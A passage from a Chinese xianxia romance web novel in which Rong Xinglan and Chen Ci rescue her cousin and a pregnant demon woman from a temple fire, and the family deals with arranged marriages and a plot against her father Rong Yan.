她自知中招,剧痛之下无可奈何,正欲吐出妖丹保住腹中胎儿,颈后骤然一痛,昏倒在地,不省人事。
陈辞收回寸指,看向屋外。屋外脚步窸窣,似有油液淋地之声,忽然间火光大盛,瞬间燃至房门,便只好将地上女妖一提,向屋内掠去。
而北墙亦传来焚烧之声,一时间,厢房似鼎炉,远处传来呼喊:“不好了!后殿走水了!来人啊,走水了!”
……
容星阑弯腰,在石缝中捡起蝶簪,作松气道:“呼,果然在这里,幸好找到了。”
她抬袖拂去尘土:“这可是郝哥哥亲自做的,丢失不得,回去后我要好生存放起来。”
郝一笑道:“我再多做几对,你换着带,丢了也不心疼。”
正这时,人群忽而骚乱,有人大喊:“走水了!巧娘殿走水了!”
往来之人急促奔走,一时间环山台上大乱,容星阑向山顶望去,果然见黑雾袅袅,巧娘殿安然屹立,那黑烟分明源于自巧娘殿后!
“糟了!”她提裙就跑,郝一紧跟身后,却见人群中一幼童被奔走的大人撞倒在地,嚎啕大哭。
场内步履匆匆,恐有踩踏,纠结一瞬,停步立即上前,抱起孩童,左右张望寻其父母。再向登山阶梯望去,人影憧憧,早已不见容星阑身影。
……
容星阑做人以来从未跑得这么快过,跑时心中不住祈祷:千万不要是‘静无’厢房,千万不要是‘静无’厢房……
却在见到包含‘静无’在内已然大火熊熊的北面所有厢房时,浑身血液倒流,火势热烫,全身冰凉。她心脏一顿狂跳,目呆两瞬,夺起一旁救火的水桶,从头往自己身上一浇,在童子惊愕的目光下,只身冲进房中。
……
容晏眼见鲲娘进了厢房,又眼见大火轰燃,已然知晓定是有人以鲲娘做饵,引他出洞。
他面色沉沉,若是不救鲲娘,鲲娘必死无疑。若是救了鲲娘,便着了那人的道,他倒无畏,只是家人恐难免于难。
一面是旧时故人,一面是妻女,容晏咬牙欲碎,面露悲恸,渐下决断,隐于巧娘殿后。却在此时见到自己日日思念的身影,竟是女儿星阑,她不知从何处飞奔过来,在众人来不及反应之时,已然冲进火海。
容晏一时惊骇,容不得作想,挥衣易袍,在众人都没注意的角落,瞬移至屋内。
火舌无情,他扫视片刻,屋内竟空无一人。
神识放出,视感通铺,捕捉到北墙后面的山中小路,蹒行着一男一女,陈辞和星阑,一人背负一人,慢慢向山下行去。
他心下稍安,隐入林中。
……
青峰山北山小路上,容星阑一步一喘息,最后无奈道:“不行了,这女子太沉重了。”
她一路狂奔,幸而屋内陈辞听到动静醒来,早已将容玄蕴拖藏于北墙后的草木中。只是大伯的外室女妖为何也在屋内,她来不及细想,和陈辞一道连拖带搬,总算在梁架倒塌之前将她也带了出来。
本打算将陈辞和容玄蕴二人在屋中关一关,而后将他们一同抬放到房内榻上,再假意和郝一惊讶地发现这一离奇艳事,陈辞只能与容玄蕴成婚。
陈辞再差,总好过刘员外。
眼下顾不得计划失败,人无事已是万幸。又想反正要撮合,怎么撮合不是撮合,就小手一挥,将容玄蕴交与陈辞,自己背这女妖。
只是女妖身怀胎珠,她背也不是,抱又抱不动,只半拖半扛,如同负重锤铁,走了一会儿,再也背不动一点,只好提议:“陈阿辞,你来背这女妖,我背堂姐。”
陈辞闻言瞥视一眼,自无异议,将容玄蕴靠放在石旁,接过女妖。
少女不算骄矜,额上已浸出了汗,满脸热得通红,头发叫火燎了一燎,微微发卷,此刻比之昆吾的猿猴,也大差不离。
许是在裴姨的教导下,她连着憋屈地叫了多日阿辞哥哥,此时总算露出本来的面貌,全无姣好的面容,语气也不温柔,在陈辞久远的记忆中,颐指气使的“陈辞”和“陈阿辞”,这才是她惯常的称谓。
不论是陈辞、陈阿辞,亦或是阿辞哥哥,对他而言,并无不同。
便是她,于他而言,也只是旁人。旁人于他,从来都是过客。
只是脑海中少女闯入火海的一幕久久不去,焦急、惊慌,明明惧怯至极却又强忍惊恐,飞快地在房中搜寻翻找。平日懒散惯了,什么活都不干的手,被木刺扎穿也毫无感知,直到见了他,才缓下那口提着的气。
陈辞在她猴屁股似的脸上一扫,极快地敛回目光,等她奋力将容玄蕴一带,才随在她身后,继续向下走去。
火燎过的乌发卷缩成一团,扎好的双丫髻像是两个炸毛的黑球,在眼前左晃右荡,忽而那两颗黑球猛然向前倒去,陈辞下意识伸手,却见她身侧的容玄蕴在千钧一发之际警觉而醒,即刻稳住身形,并将容星阑一拉,二人堪堪没有以头抢地。
拉好后,容玄蕴才愣愣回神,被火熏过的喉咙发出漏风般的声音,和容星阑看过去的脸措不及防打一照面,惊目后仰:“山猴!”
山猴本猴容星阑:“……”
容星阑:“堂姐,是我。”
容玄蕴经此一惊,迅速回神,目光毫无避讳地打量那团黑而卷的发髻,黢黑又发红出汗的脸,破破烂烂无一好处的衣裙,最后看向那双明亮如星的眼睛,缓声道:“是星阑啊。”
在厢房内昏倒之时头上磕了一个大包,此刻钝钝发痛,她摸上去,痛嘶一声,冷声道:“有歹人暗害我们。”
歹人本人容星阑:“……”
她面不红心不跳,义正言辞:“可恶,待我回去定要报官好好查上一查,到底是谁想害我们!”
她所言不假,好端端地,后殿厢房怎么会走火,厢房内缘何多出个女妖,她绝对要好好查探一番。
容玄蕴环视三人,一顿:“郝一呢
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?”
容星阑终于想起郝一,先是一惊,又想起郝一在环山台上,应当不会有事,道:“我和他在环山台走散了。”
容玄蕴松下一口气:“不在房中就好。”
她又将目光转向陈辞背着的女妖,问道:“她是谁?”
容星阑:“……”
她静默半晌,不知如何作答。
难道要她说:堂姐,这是大伯的外室,你的庶母。她腹中的胎儿,正是你的阿弟或阿妹。
默了默,容星阑默契地和郝一对视,又各自收回目光,她清嗓答道:“一个路人,顺手救了。”
她对陈辞道:“对吧?阿辞哥哥。”
又对容玄蕴道:“阿辞哥哥很威武呢,不然这女子就要葬身火海了。”
幸而出来时不忘捞走女妖的帷帽,女妖面上妖形毕露,万万不可叫他人看见,尤其是天命所在的正道之子容玄蕴。
她还要留着女妖制衡大伯。
却见容玄蕴面色一变,容星阑紧张地看过去,生怕叫她看出端倪,只听她翁声问道:“陈辞,救了她……”
“也就是说,是你、救了我?”
容星阑摸不着头脑:“??”
这是什么很要紧的事吗?你难道不觉得陈辞很威武神勇吗?
她正要如实回答,陈辞道:“正是。”
容星阑看向陈辞:“???”
罢了,已然一团乱麻,她毫不心虚地应下来:“啊,是啊。”
殿上火势未小,黑烟滚滚,已经不少人发现了这条小路,陆陆续续自山顶下来,容星阑唯恐被人发现女妖,催道:“我们赶紧下山吧,若是阿娘听到巧娘殿走水的消息,我们迟迟不归,她该着急了。”
……
青峰山一处密林中,容成恭敬地向人回禀:“大人,您给的香料我混在了殿中奉的松香炉内,那鲲娘进去了,再也没有出来。”
“我亲眼见鲲娘与容晏一前一后进了厢房,容晏没有立即现身,而是在火势渐大后,才……”
容成心中戚戚,他未曾想到自己的兄弟竟瞒了自己这么久,若不是亲眼所见,他实难相信,与自己同根的容晏,竟是仙家修士!
郝牛村并不闭塞,时常可闻一些和仙家有关的讯息,知晓世间有三大仙山,昆吾、云音、扶苍。仙缘缥缈,天下人不一心之向往,然而对于勤恳务农的郝牛村民而言,修士只存在传说之中。
而他的兄弟,竟也是仙家修士,或曾是仙家修士,此间差距,叫他一时难以接受,不由蔓生出浓浓的忮恨,他蹉跎半生,而亲兄弟分明有仙家之能,却连帮扶都不愿,又生出一种被欺瞒和不甘交织的复杂情绪。
他按捺住心中忮忌,继续道:“才瞬闪至厢房内。不久,我绕过北山查看,青峰山北麓小道上,果然有一男子背着鲲娘,身形与容晏无异。”
事情都在他的掌控之中,容成身前的修士哼笑道:“他自然不会立即救下鲲娘,容晏狡诈多思,见到走水的那一刻就知道自己已经被人盯上,心中自要计较一番,救,则露。不救,则隐。”
容成不解,眼前修士既然已经知道容晏家门所在,为何非要费这么大力气使他与鲲娘相遇,容晏与鲲娘之间到底有何羁绊。若只想除掉容晏,只需绑了裴书和星阑,他不出现也得出现。只是这番心思,容成断不敢直问,只静静听着修士语调癫狂:
“轻易去死怎么会有意思。故人相会,容晏啊容晏,我定要叫你,求生不得,求死不能。哈哈哈哈哈哈哈哈……”
11.团聚
郝牛村口。
容星阑和郝一位于东侧,容玄蕴家在西侧,道不同而分道扬镳。
青峰山庙会一行,虽个个挂了彩,三人却似乎亲近不少。容玄蕴看了看搀扶着不知名女子的二人,欲言又止。
容星阑看出她心中所思,道:“我阿娘医术了得,救人一命胜造七级浮屠,这女子怀有生孕,又迟迟不醒,先带回去叫我娘看看。”
容玄蕴目光落于女子隆起的腹部,不疑有他,极轻地道了一句:“多谢。”
“嗯?”容星阑道,“堂姐你大声点,我听不清。”
容玄蕴懒得再理她,几人就此作别。
看着容玄蕴远去的背影,容星阑拍拍手,道:“走吧,陈阿辞,我们得把女妖藏到你家,千万不能让我阿娘发现。”
陈辞不出声,亦不动作,容星阑疑惑地看过去,就听他道:“不行。”
容星阑:“……”
她立马换了张清亮明媚的笑脸,柔声唤道:“阿辞哥哥,求求你了。”
她单眼轻眨:“只有你能帮我了。”
歇了一歇,她的脸没那么红了,皮肤被烟熏得乌漆嘛黑,表情变换极快,与蜀地的变脸把戏别无二致,方才还是一口一个‘陈阿辞‘,娴熟地发号施令,现在就换成了‘阿辞哥哥’,一副有求于人、撒泼卖娇的模样。
只是无论是哪种表情,在现在这张看不清原本清丽面容的脸上,都略显滑稽。陈辞静看了她半晌,在她又要使招耍宝之前,淡声问道:“她藏在我家中,为何是帮你?她与你何干?”
此话一出,容星阑倒是奇了,她道:“那日你不是和我一起看到了吗?”
容星阑左顾右盼一番,见无人,才指了指女妖,贴耳小声道:“她,我大伯的外室。”
说话呼出的气息拂过耳垂,酥酥痒痒,陈辞沉默良久,问:“那又与你何干?”
容星阑默了默,发现确实说不过去,现场胡诌了个理由:“我肯定要把她藏好啊,不然东窗事发,我容家家宅不宁。难道你想容玄蕴多出个怀胎的妖女庶娘?”
陈辞似是想到什么,意味深长地看她一眼,道:“你对容玄蕴倒是很好,竟为她着想至此。”
容星阑双眼滴溜溜一转,心道这又是什么跟什么,当即应声:“是呀!阿辞哥哥,你就帮帮我这一回吧。我保证,每天都给她送吃的,绝对不麻烦你。”
陈辞瞧着她蓬头垢面、眉眼机敏,眼中闪过极轻的笑意,看她又是一连地撒娇卖好,轻轻道了声:“嗯。”
见他答应,容星阑赶紧将女妖扶靠在陈辞身上,自己则扶着女妖另一侧让她不至于倒下,忽而一顿,道:“不对啊,阿辞哥哥,我还没问你,你那天怎么也在我家祖宅?”
陈辞面色不变,只清声道:“草多,放牛。”
……
将女妖安置在陈辞家厨伙房中,容星阑方知何为陋室。
他家统共只有三个房间,堂屋、寝房、伙房。堂屋不必说,一张方桌,两条长凳,靠墙一张长案,案上似乎有摆放过香炉的痕迹。
寝房更是极简,只一张木床,再无其他。
顾忌男女之防,女妖安置在陈辞卧房不大妥当,反正他不怎么开灶,这些日子容星阑叫他一起吃饭,伙房就可以闲置下来,供女妖使用。
在除了一口大锅再无其它家具的伙房内扫视一圈,容星阑掏了些小黑牛的干稻草垫在大锅中,暂时将女妖安放在那里。
刚刚安放好,就听屋外一阵惊呼谈话的声音,容星阑探头望去,声音来自自家院内,院中将裴书抱了个满怀的,不是她爹是谁?
容星阑便撒手不管了,分明只进陈辞家院中一两次,却十分熟稔地跑到院门处,两家院门一开一合,她边跑边喊:“爹!”
转眼已到父母跟前,什么女妖和陈辞,通通抛之脑后。
容宴闻声回头,一把接住扑来的女儿,将她的脸端详了又端详,笑呵呵道:“这是哪家的野猴?怎么下山来了。”
裴山早听闻青峰山巧娘殿走水的消息,此时见了女儿满脸烟灰,心中担忧落下,又气又好笑,道:“泼猴!快去洗把脸。”
容宴道:“洗脸哪能够,你看她浑身上下,哪有一处是干净的,活像在泥地里打了几滚的赖皮狗。”
容星阑不服:“我是狗,你是什么,阿娘又是什么!”
裴书也嗔他:“净胡说!”
一家三口其乐融融,边走边进了屋。陈辞隐在窗后,静静看着,直到再也看不见三人身影,只隐隐听见独属于尘世间最简单纯粹的欢声笑语,垂眸。
……
鲲娘是在一口大锅中醒来的。
她惊醒后立即感知腹中胎儿,确定无恙,才回神打量起自己身处环境。
她躺在一口大锅中,锅内无水,垫了厚厚的稻草。
她被抓了!
鲲娘大惊失色,作势就要凝诀逃跑,这才发觉妖力全然溃散,自己已然成了一个任人宰割的凡人。
她面色一白,抓她的是谁?是扶苍山的修士吗?目光触及自己身处的灶台,心中一颤,难道……要用她炖汤?
她身为东海大妖,就死在这旮旯地方的破烂厨房中?鲲娘一阵凄然,暗恨天道为何如此不公。为妖者,有孕之时妖力大减,她自察觉有孕起,百般躲藏,却还是难逃死劫。
鲲娘望向隆起的腹中,事已至此,就让她至少以命保全她和霍无的孩儿。
她正欲吐出妖丹,房门冷不丁被人推开,少年端了个缺了豁口的破碗,药草的苦味霎时弥漫整间伙房。他只冷冷看了她一眼,目若寒冰,全然不似那日在容家祖宅看容成侄女那般,淡声道:“你醒了。”
“醒了就喝药吧。”
鲲娘鼻翼轻翕,她闻到药中淡淡的灵气味,药性温和,正对她体内自蛮荒鬼山带出的寒症,惊道:“你到底是谁?”
陈辞将药放在妖女身侧,抬手设了一个结界,道:“不想死的话,别多问,别出门。”
鲲娘还是问:“你认识容宴?”
陈辞不答,只道:“半柱香,你若不喝,我就端走。”
鲲娘知道他说道做到,端碗又细细闻了闻,辨别有益无毒,一口气喝了下去。
那少年果然起身收碗,一个字都没多说,径自出去,关上房门。
鲲娘沉思,那少年到底是敌是友,思索未果,索性起身,在房中走动。
结界未撤,但伙房开了一扇窗,可以看见外面的世界。
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这是一处小院。
小院中有一只地上啃草的小黑牛,黑牛似乎察觉到了动静,甩着尾巴朝她所在的窗边走来。
只是走着走着,就不再走了,它听到了另一个人的召唤。
“小灰!快来!”
少女从栅栏处递过来半只去了核的脆桃,她自己口中啃着另外半只。黑牛欢快地踱步过去,牛尾甩的呼啦啦转,牛鼻在她手中拱了一拱,舌头一卷,那半只桃卷入口中。
鲲娘又听到了另一道声音:“啊!臭牛!容星阑,它差点把我也卷进去了!”
她定睛一瞧,袖口处探出几寸长的紫蛇,那蛇口吐人言,毫无妖息,亦无灵气波动,非妖非仙,只是一只普通的凡蛇。
那少女身后房门吱呀,一位妇人唤她:“星阑,去叫阿辞,就说宴叔回来了,请他一同用饭。”
少女和紫蛇惊地齐齐一缩。手中还剩一口的桃掉在地上,被黑牛迅捷一卷,又入口中,少女闷闷回道:“哦!”
……
容星阑推开陈辞家院门,正准备进伙房先看一看妖女,陈辞从后院忽然现身,已重新梳洗,换了一件素色长袍,她悄然观量,已觉有几分昆吾剑君的模样。
陈辞见了她,就道:“走罢。”
想来一栅之隔,他定是听得一清二楚,白走这几步路,早知就隔院喊一声。容星阑摸了一把黑牛,就听陈辞道:“为何叫它小灰?”
容星阑不以为意:“我给它取得名,好听吧!”
陈辞:“它浑身黑润,何以见灰?”
容星阑回头朝他露出个你不懂的笑,道:“这世间万事,安能非黑即白?总是亦黑亦白,时黑时白,我们黑牛虽黑,心却澄白,是为小灰。”
容星阑见他似是真的信了,大笑开来,道:“阿辞哥哥,我乱说的,你瞧!”
她的手在牛耳下方的长毛处一拨,黑密的毛中,夹杂了一戳干净的白,黑牛似是有些发痒,耳朵扑闪扑闪,那抹白又藏在了黑毛中。
容星阑不待陈辞做何反应,只狡黠一笑,道:“有黑有白,你说,它是不是小灰?”
陈辞深静如常,轻声重复:“小灰。”
容星阑头发乌黑,被火燎后又燥又卷,不知裴姨使了什么法子,化腐朽为神奇,给她编了一个长辫,毫无炸毛感,倒有几分蓬松可爱。
那张洗净的脸与乌黑的发映衬,是一种气血充盈的粉白。
有黑有白,陈辞极浅的笑了笑:“嗯,小灰。”
浑然不知陈辞在想什么的容星阑仍沉浸在自己乃是取名高手的自得中,自然错过了他本就不易察觉的笑。
二人已至容家小院,容宴抱出一坛子酒,朗声笑道:“阿辞,许久不见,俊俏许多,也成稳许多。今夜我们把酒言欢,放纵一场。”
裴书端菜出来,是容星阑最爱吃的红烧肉,她慈声道:“阿辞,莫听你宴叔胡说。今日高兴,一家人浅酌一二,难得团聚。”
容星阑耐不住坏头蛇用蛇尾巴一直抽她,趁三人交谈,偷摸夹一块卤肉片,藏在袖中。
见阿爹只满上了三杯酒,连忙道:“我也要喝!”
夜暮将至,小院灯火茸茸,千山万水,尘世纷扰,今夜里,就只有那一暖橙黄。
12.婚事
雪原茫茫,朔风簌簌,少年喘息攀走,不知行路几何。
他不知从还要前行多久,亦不知末路何在。大雪纷飞,他似乎感受不到寒冷,只漫无目的地踽踽孤行。
终于,在漫无边界的雪原中,他看到了一束明黄的光。
那束光从一座木屋的窗格中漏出来,与雪原的白不一样,是橙黄的、与朝霞与落日一样的暖光。
少年不由被那抹橙光吸引,向木屋走去。
叩、叩、叩!
他收起手中乌黑沉重的剑,抬手敲了三下。
“来了!”回答的是一位少女。
吱嘎——
屋门打开,屋中人见了他,明丽地笑开:“阿辞哥哥,你回来了,快进来!”
少年觉得屋中应当还有两位长辈,但是现下只有眼前少女一人,他居然觉得这样很好。
少女递给他一杯温热的茶,动作熟稔,似乎她日日都在这里等他,待他归来,日日又为他斟上一杯热茶。
暖光和热茶驱散他身上的冰寒,少女问道:“怎么今日去了这么久,有打猎到什么东西吗?”
他捧茶半晌,问:“你怎么在这里?”
少女疑惑地看了他一眼,似乎十分不解:“阿辞哥哥,你是不是被风吹傻了。”
她用手贴上他的额头,那手很软、很暖,只在额上贴了贴,很快就拿开,少年有些意犹未尽地舔了舔嘴角,还是问:“你怎么会在这里?”
少女嘟囔:“没发烧呀。”
她瞪大那双明亮澄澈的眼,道:“我当然在这啊。”
少女轻笑:“这不是你希望的吗?前世今生,你苦苦寻找的答案。”
“一盏灯火,一个去处。是你不敢奢求的归宿啊。”
茶水冒出的热气熏花了少年的眼,他不知在想什么,便听少女道:“你还没说呢,今日猎了什么回来?”
她自顾自去寻他藏在身后的手。不知为何,他有些惊慌地想藏住剑身,却听少女惊呼:“狐裘!”
她已然围上,笑颜如花:“阿辞哥哥,你看好看吗?”
少年愣愣地看着她脖上的狐裘,那应当是雪狐的毛,和雪原一样干净,没有一丝杂毛,是雪一样的白。
然而就在那极致的白中,忽而溅上几点殷红,他的心忽然跳得很快,世界寂静无声,只有少女逐渐涣散的眼。
她不甘地唤了他一声:“阿辞哥哥。”
狐裘滑落,她的脖子上,多了一支普通而尖锐的长簪。
噗通!噗通!噗通!
他伸手捞住少女无力的身体,木屋湮灭,世间只有洪钟般的心跳声和那抹殷红。
一道紫雷劈落,陈辞惊醒。
屋内一股极重的酒气,陈辞坐起来,揉了揉眉心。他许久未做梦了,陡然梦醒,有些茫然。
鲲娘的声音自虚空中飘来:“是梦到隔壁的少女了吧?”
她嗓音娇柔妩媚,在黑夜中轻笑,一字不落地进入耳朵:“呀,那可是另一位儿郎的未婚妻,听容成说,他们来年二月就要完婚了。”
“届时,你又当何去何从呢?”
……
容星阑敲了敲院门,院中无人,院门没锁,她扯着嗓子叫了声:“阿辞哥哥!”
陈辞不知去了何处,容星阑端着食盒进去,推开伙房的门。
进门就见倚靠在窗前的鲲娘,容星阑暗道奇怪,她在院子里的时候,似乎没有看到窗内的光景。
她又扫了一眼鲲娘身下铺着干草的长凳,道:“你醒了,不知道你们妖吃什么,我带了些自家做的饭菜。”
她看鲲娘:“吃吗?”
“吃。”鲲娘陈述道,“你是容晏的女儿。”
容星阑疑道:“问这个作甚?”
她警惕地看着鲲娘,此妖是大伯的外室,现下忽然间问起阿爹,莫非是知道大伯无用,又看上了她爹?
她将食盒一放,道:“不知道你们作妖如何,我们做人,最重要的是忠贞。你既然已有良人,就应当安分守己,不要肖想旁的。”
鲲娘挑眉轻哼:“所言极是。我们做妖也讲究忠贞,但我看来,你们人族却未必,变心之人常有,一人游刃在两人或多人之间的,也不少见啊。”
容星阑以为她在隐射大伯,道:“薄情之人众多,你管好你自己。”
鲲娘道:“你也是哦。”
容星阑:“……”
好像有点不对劲,但究竟是哪里不对劲,她不知道。
一时无言,见鲲娘用好了饭,容星阑带着食盒离开,离开前道:“你最好老实呆在这里,不要乱跑。不然我定叫你无名无分,再也见不到想见之人。”
鲲娘望着关上的房门,自嘲一笑:“我想见之人,恐怕只能黄泉路上见了。”
……
容星阑从陈辞家出来,正巧撞到前来寻她的郝一。
“郝哥哥。”她边走边将郝一带入家中,“昨日后殿走水,你去了何处?可有受伤?”
郝一见她从陈辞家出来,笑了笑,终是没有开口,只回道:“昨日在环山台遇到一位和家人走失的孩童,恐有踩踏,也就耽搁了些。后来去巧娘殿寻你们,却见整个后殿已然烧塌。”
他苦笑一声:“我自是十分心惊,幸而遇到晏叔,他道你们已经安全下山,我才放下心来。又见山颠取水者不多,便帮忙汲水灭火,忙到半夜。”
容星阑笑道:“郝哥哥当真是君子作为,忙到半夜,想必累坏了吧。”
郝一摇头,问:“你可有伤到?”
容星阑摸摸头发:“还好,只是被火燎到了头发。”
郝一问:“昨日巧娘殿到底发生了何事,玄蕴和阿辞是否安好?”
容星阑:“都安好。”
裴书闻声从屋中出来,唤了声:“郝一来了,快用茶。”
她手中倒茶,道:“昨日吓坏了吧,也不知怎么回事,好端端的居然走水。我担忧了好一阵,才等到星阑回来,可怜见的,脸熏得跟抹了炭似的,头发跟雷劈了差不多,衣服也勾破了,身上、手上处处都是刮开的伤痕。”
裴书将茶递给他,温声问:“阿一,你没受伤吧?昨日星阑回来,说只有玄蕴、阿辞一起下了山,我正心急,四个人一起出门,怎么回来只有三人。”
她慈笑:“幸而你晏叔回来了,和我说你在山上救火,差人去告知了你阿爹,这才放心。”
裴书问:“阿一,你们怎么会走散?叫我们平白担心了好一阵。”
郝一微微张口,却什么也说不出。
最后只道:“有点事耽搁了,下次晚生定然跟紧星阑,再不和她走散了。”
裴书温声笑:“你们二月就要成婚了,星阑后面也不方便再出门游玩,你得了空多来屋里坐坐,这些天你晏叔也在。”
容星阑默不作声地喝茶。
郝一什么都好,就是太过心善,不分场合、不顾主次的心善。但是她真的不怪郝一,他对人都好,尤其对弱者,总有一种怜悯的关怀。这样的人她很敬佩,也很欣赏,只是不能做她夫君罢了。
她垂下长睫,得赶紧想办法退
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婚。
院外一阵喧哗,容星阑回头,来者春光满面,竟是大伯容成。
她警惕地看向陈辞家伙房,支开的窗口清晰可见内里布置,却不见鲲娘身影。
方才鲲娘不是还卧在窗前看风景吗?这会儿怎么不见了。容星阑瞬间将心提到嗓子眼,生怕鲲娘忽然从某个角落中冒出,又开始疑心自己关门时是否落了锁,时不时朝隔壁院子偷瞄。
千万不能让容成知道鲲娘在那。
郝一看在眼里,默声品茶。
容星阑没想到的是,容成竟然是来传喜讯的。
“弟妹!”容成一进门就笑呵呵,“郝一也在啊。”
他放下手中装满鸡蛋的篮子,道:“星阑和郝一二月要成婚了吧。”
裴书笑道:“大哥,每次都带鸡蛋来,上次拿的我们还没吃完呢。”
她看向星阑和郝一,道:“是啊,现在七月,还有七个月,我们星阑就要成为郝家的媳妇了。”
容成:“那真是大喜事啊!实不相瞒,我今日来,也是要宣一件喜事。我们家玄蕴,也定下婚约啦!”
裴书好奇:“哦?是哪家的好儿郎?”
容成:“镇上的刘员外。”
他依旧笑呵呵:“刘员外好啊,虽然年级大了点,但是会疼人。玄蕴虽然不及星阑有福气,但也算是觅得良人。”
裴书听到刘员外三字,险些挂不住脸上的笑,问道:“已经定下了?”
容成:“定下了!今日一大早就纳彩,合了八字,午时聘礼就送过来了,抬了整整十担呢!”
裴书问:“婚期何时?”
容成喝了一口茶,笑地褶子乱飞:“和星阑婚期差不多,也在二月。就近的吉日最早也在明年二月,只能如此了。”
这番话说的,好似若是今年还有吉时,就绝对不会等到来年二月。
容星阑忍不住道:“大伯,怎么这么着急,突然就定下婚约了?”
裴书眼神示意她噤声:“星阑,带郝一去外面转转。”
容成道:“刘员外实在欢喜玄蕴,心急。前些日子本来过来约了玄蕴七月七一起去青峰庙会,不是正巧弟妹你来了么,说星阑也邀玄蕴七月七去青峰山。我思来想去,若是玄蕴成了婚,就不好和娘家人再混作一块了,就推了刘员外。这不,刚过乞巧,刘员外就来了。”
容星阑还想说什么,裴书给她使了一个眼色,她不得不对郝一道:“郝哥哥,我们去田间走走吧。”
容星阑一出院门,立即道:“走,我们去找堂姐。”
……
容玄蕴静坐在院中的板凳上,手中虚握着绣线。
她娘在旁边劝她:“玄蕴呐,你莫怪到娘头上,是你爹做的主。我帮你说话,就要挨他的榔头。刘员外也没什么不好的,你乖巧些,听他的话,他总不会像你爹一样打人。他们家日子过得好,不像我们,日子清贫,你过去了是享福的。”
见容玄蕴呆呆不答,她娘叹了一口气,道:“你早些绣你的嫁衣罢,此事已成定局,你爹的性子,你也知道。怪只怪你命不好,生到容家,做了你爹的女儿。”
她听到院子外面的脚步声,还以为是容成回来了,慌忙一看,却是容星阑。
她连忙招呼,道:“星阑,你来得正好,你们年轻孩子说说话,我去忙了。”
容星阑搬了个凳子一起坐着,喊了声:“堂姐。”
容玄蕴面无表情,满目死灰,容星阑看得心中咯噔,道:“堂姐,你还记得,我之前与你说的,命运际会的故事么?”
13.魂丹
容玄蕴声若寒冰:“话本故事?”
“你倒是闲情逸致,我和你不同。我们同是容家人,命运际会,却大不同。”
容星阑心道:此话不假,同为容家人,上一世容玄蕴是云音山神女,正道天骄,天命的代表。她容星阑却是人人喊打的邪魔歪道。
郝一来的路上已经从星阑这里听了来龙去脉,也坐下来,温声安慰:“玄蕴,婚事虽定,但未必没有变数。”
容星阑心中又道:此话也不假,她和郝一上一世自小定下的姻亲,不还是一朝身死,被容玄蕴截了胡。
不过那也是上一世的事。
容星阑道:“郝哥哥说的对,堂姐,在我所说的故事中,那个女主最初也有着这样的麻烦事。”
“女主很有手段,她杀了家中姊妹,夺取了她的婚事,就不用嫁那老头。”
容玄蕴静静听着。
“后来机缘巧合下,她得了求仙问道的机缘,便将她那抢来的夫郎抛下,自行求仙问道。”
“从此便是扶摇直上,最终证得道心,修得大道。”
“荒谬。”容玄蕴没心思听话本故事,冷声道,“杀妹抛夫之人,有何道心?你该听听郝一的话,少看些话本。”
容星阑闻言却是惊大了眼睛,她没想到这番话竟由容玄蕴说了出来。震惊之余,暗觉可惜,应当将坏头蛇带出来,要她好好听听来自笔下女主的亲自吐槽。
容星阑:“其实我也觉得故事有纰漏,女主分明可以直接跳过杀妹、抛夫的流程,直接寻仙问道啊!”
郝一:“非也……”
容星阑:“你不许说话。”
郝一一噎,止住话头,容玄蕴道:“郝一说的在理。机缘巧合之所以是机缘巧合,便是少了哪一个步骤都不行,你们读书人常说一句‘牵一发而动全身’,我想命运际会的事,也是如此吧。”
容星阑:“哎呀!我不是想说这个。”
容玄蕴冷笑:“那你想说什么。”
容星阑定定地看着她:“堂姐,你逃吧!”
郝一惊地站了起来,左右观望片刻,又坐下来,小声道:“星阑!你在说什么!”
又连忙对容玄蕴道:“玄蕴,你别听星阑胡说。外面的世界并非……”
“郝一!”容星阑打断他,“那你说怎么办?你替她去和刘员外成婚,还是我替她和刘员外成婚。”
她冷哼一声:“要么你把堂姐娶了,想必和郝里正家结亲,大伯不会不答应。”
郝一再不敢多言,只道:“你们小声说,我去看看成叔有没有回来。”
容星阑见他当真站起来放哨,低声再次重复:“堂姐,你逃吧。”
“我们都知道,世外有三座仙山,一为昆吾,二为扶苍,三为云音。寻仙问道的事离我们很遥远,但是你还记得小时候有个道士路过郝牛村,他留下的批言吗?”
“郝牛村将来要出三个英才,如果当真如此,为何不能有你?”
“朝堂非男子不能入,但修者无此忌讳,只看强弱。你何不去试试,万一这就是你的天命所在呢?”
容玄蕴从没想过如此大胆的事,她彻底惊呆了,愣了半晌都没回神。
“逃?”
郝一周正有礼地声音措不及防穿入二人耳朵:“成叔!”
容星阑看过去,容成这么快就回来了,她站起来,唤道:“大伯。”
“不必理会我,你们年轻人多聊聊。”容成笑道,“日后成了婚,就再难相见了。”
容玄蕴闻言面色愈发阴沉,容星阑看着,只觉堂姐的脸色和从前她收的鬼兵也大差不大了。
“正好聊完了。”容星阑看向还呆坐在那里的容玄蕴,道:“堂姐,我先走了。若还想听话本,记得来找我。”
……
“星阑。”二人走在路上,郝一叹气,“万一玄蕴真的……外面的世界很复杂,危机重重,不是你们想的那样。”
“那你当如何?”容星阑忍无可忍,“郝哥哥,你最看得清,那我问你,那刘员外以房中术虐杀女子,已经娶了又死了好几门妻子,家中妾妓成群,你要她如何脱离此劫?叫我看,死在外面,也好过死在刘府。”
郝一忧心地看着她,道:“星阑,我不是这个意思。”
容星阑问:“那你什么意思?”
郝一:“或许会有其他更好的方法。”
“更好的方法。”容星阑冷脸看他,“话本中的女主就是用了更好的方法。”
“她杀掉姊妹,夺她姻亲,你觉得这算不算好方法?”
郝一看着她阴沉的脸,那日在雷光下容星阑愤恨的神情又浮现在他脑中,他咽下想说的话,道:“罢了。”
抽穗的稻田簌簌作响,小黑牛老远穿行过来,陈辞扛着锄头,刚干完农活。
“小灰。”看到小黑牛,容星阑才觉得心情好些,摸了摸它的头。
陈辞:“郝大哥。”
郝一温笑:“阿辞,这是准备回家?”
陈辞嗯声:“郝大哥,昨日下山不见你,你去了何处?”
郝一愣了愣,笑:“遇到了点事,耽搁了一下。”
陈辞:“何事?”
“这……”郝一耐心解释,“有一孩童和父母走失,跌倒在环山台,彼时人行纷杂,我就陪他等了一等。”
陈辞:“昨日走水是有人为之,在走水前,有人在厢房内动了手脚。”
容星阑心提了起来,竖耳倾听。
郝一惊道:“竟有此事?”
陈辞:“应是松香。”
容星阑放下心,她只在糖水里下了蒙汗药。
郝一:“可有抓到歹人?”
陈辞直直地盯着他:“并无。”
郝一反应过来,一行四人,只有他最后不在场,陈辞是在疑心他。他正要回答,就听容星阑帮他说话:“郝哥哥救人去了,他见义勇为,侠肝义胆,救人于水火。”
陈辞眸光暗了暗,只道:“如此,最好。”
……
